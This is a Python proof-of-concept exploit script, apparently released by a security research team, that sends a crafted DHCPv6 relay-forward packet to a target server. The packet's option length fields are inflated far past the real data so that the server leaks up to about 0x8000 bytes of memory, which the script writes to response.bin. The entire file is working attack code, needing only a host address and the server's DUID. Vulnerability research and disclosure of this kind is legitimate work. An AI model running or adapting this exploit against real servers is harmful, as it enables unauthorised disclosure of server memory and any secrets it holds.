#!/usr/bin/env python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna # Felix Wilhelm # Gabriel Campana # Kevin Hamacher # Gynvael Coldwind # Ron Bowes - Xoogler :/ from binascii import unhexlify from struct import pack import socket import sys # num bytes to leak. < 0xFFFF, exact upper limit not tested. N_BYTES = 0x8000 def send_packet(data, host, port): print("[+] sending {} bytes to [{}]:{}".format(len(data), host, port)) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, socket.IPPROTO_UDP) s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data)) if s.sendto(data, (host, port)) != len(data): print("[!] Could not send (full) payload") s.close() def u8(x): return pack("B", x) def u16(x): return pack("!H", x) def gen_option(option, data, length=None): if length is None: length = len(data) return b"".join([ u16(option), u16(length), data ]) def inner_pkg(duid): OPTION6_SERVER_ID = 2 return b"".join([ u8(5), # Type = DHCP6RENEW u8(0), u16(1337), # ID gen_option(OPTION6_SERVER_ID, duid), gen_option(1, "", length=(N_BYTES - 8 - 18)) # Client ID ]) if __name__ == '__main__': assert len(sys.argv) == 2, "{} ".format(sys.argv[0]) # No automated way to obtain a duid, sorry. Not a programming contest after all. host, duid = sys.argv[1:] duid = unhexlify(duid) assert len(duid) == 14 pkg = b"".join([ u8(12), # DHCP6RELAYFORW '?', # Client addr '\xFD\x00', '\x00\x00' * 6, '\x00\x05', '_' * (33 - 17), # Skip random data. # Option 9 - OPTION6_RELAY_MSG gen_option(9, inner_pkg(duid), length=N_BYTES), ]) # Setup receiving port s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, N_BYTES) s.bind(('::', 547)) # Send request send_packet(pkg, host, 547) # Dump response with open('response.bin', 'wb') as f: f.write(s.recvfrom(N_BYTES)[0])